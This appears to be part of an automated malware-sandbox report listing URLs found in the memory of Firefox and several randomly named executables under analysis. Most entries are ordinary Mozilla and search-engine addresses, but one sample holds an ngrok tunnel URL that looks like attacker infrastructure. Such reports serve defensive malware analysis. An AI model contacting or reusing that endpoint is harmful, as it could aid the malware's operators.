Source: firefox.exe, 00000019.00000002.3347101490.000001E16E51E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3378267040.000001E171753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3313377233.000001E169E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: 194fcc03d1.exe, 194fcc03d1.exe, 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000019.00000002.3334463608.000001E16D703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000019.00000002.3395678334.000001E17663A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3366315272.000001E17068B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3341632616.000001E16DF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3250136370.000001E170851000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3347101490.000001E16E53F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000019.00000003.3250136370.000001E170863000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul#
Source: firefox.exe, 00000019.00000002.3370172652.000001E170899000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3250136370.000001E170899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulP
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/schemas/chrome
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-su
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulmaybeImportLogins:
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/Startu
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/AppMenuNotificat
Source: 194fcc03d1.exe, 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 194fcc03d1.exe, 00000009.00000002.3652489996.000000001DFCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3381431417.000001E1719C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: c9ac8940e6.exe, 0000000A.00000003.3257695191.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3253689039.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3356534780.000001E16F2E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3381431417.000001E1719C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com
Source: firefox.exe, 00000019.00000002.3404355837.000001E17784F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000019.00000002.3406841094.000001E177A8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3160757201.000001E16E257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3338221012.000001E16D900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.3160103632.000001E16E23A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159161146.000001E16E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159441532.000001E16E21E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3161924671.000001E16E273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: c9ac8940e6.exe, 0000000A.00000003.3153599163.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3156061830.0000000005CB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000019.00000002.3378267040.000001E171707000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.caPREF_DISABLE_TEST_BACKOFF
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000019.00000002.3401458060.000001E176877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000019.00000002.3334463608.000001E16D7C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3368775860.000001E170711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: f398072083.exe, 00000007.00000003.2794767687.0000000007312000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: f398072083.exe, 00000007.00000003.2794767687.0000000007312000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3351329432.000001E16EB0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E170005000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17000B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3360459881.000001E16FFCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3414542213.00001008BF604000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000019.00000002.3334463608.000001E16D7C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000019.00000002.3343522083.000001E16E183000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3327903366.000001E16BE45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000019.00000002.3401458060.000001E176877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3262241329.000001E1766E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3343522083.000001E16E159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 194fcc03d1.exe, 00000009.00000002.3658430025.0000000024111000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3289641174.0000000001674000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B73B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 194fcc03d1.exe, 00000009.00000002.3658430025.0000000024111000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334964070.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3332306839.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3336326021.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3353094912.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3341331944.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3347292005.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3343840223.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3330875172.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3337881187.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3339658093.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3333555796.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3352543746.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3335509270.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3350539115.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351341626.0000000001661000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3331737743.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3344628486.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334373074.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351939938.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3317244696.0000000001662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 00000019.00000002.3363807064.000001E17022F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17022F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3334463608.000001E16D7C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3334463608.000001E16D7C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3334463608.000001E16D7C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3334463608.000001E16D7C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: c9ac8940e6.exe, 0000000A.00000003.3153599163.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3156061830.0000000005CB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3153599163.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3156061830.0000000005CB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3153599163.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3156061830.0000000005CB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3401458060.000001E176889000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159441532.000001E16E21E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3161924671.000001E16E273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A325000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E1765D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 194fcc03d1.exe, 00000009.00000002.3658430025.0000000024111000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334964070.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3332306839.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3336326021.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3353094912.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3341331944.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3347292005.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3343840223.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3330875172.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3337881187.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3339658093.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3333555796.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3352543746.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3335509270.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3350539115.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351341626.0000000001661000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3331737743.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3344628486.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334373074.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351939938.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3317244696.0000000001662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 194fcc03d1.exe, 00000009.00000002.3658430025.0000000024111000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3289641174.0000000001674000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B73B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B77C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36X
Source: firefox.exe, 00000019.00000002.3401458060.000001E1768A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000019.00000002.3353622978.000001E16F163000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3239742227.000001E170068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000019.00000002.3362147445.000001E170068000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3239742227.000001E170068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tileslayout.css.grid-template-masonry-value.enabledhttps://e
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000019.00000002.3303449786.000001E15E111000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3303449786.000001E15E130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000019.00000003.3231631580.000001E178123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3408848353.000001E178122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: f398072083.exe, 00000007.00000003.2794767687.0000000007312000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: f398072083.exe, 00000007.00000003.2794767687.0000000007312000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: f398072083.exe, 00000007.00000003.2794767687.0000000007312000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
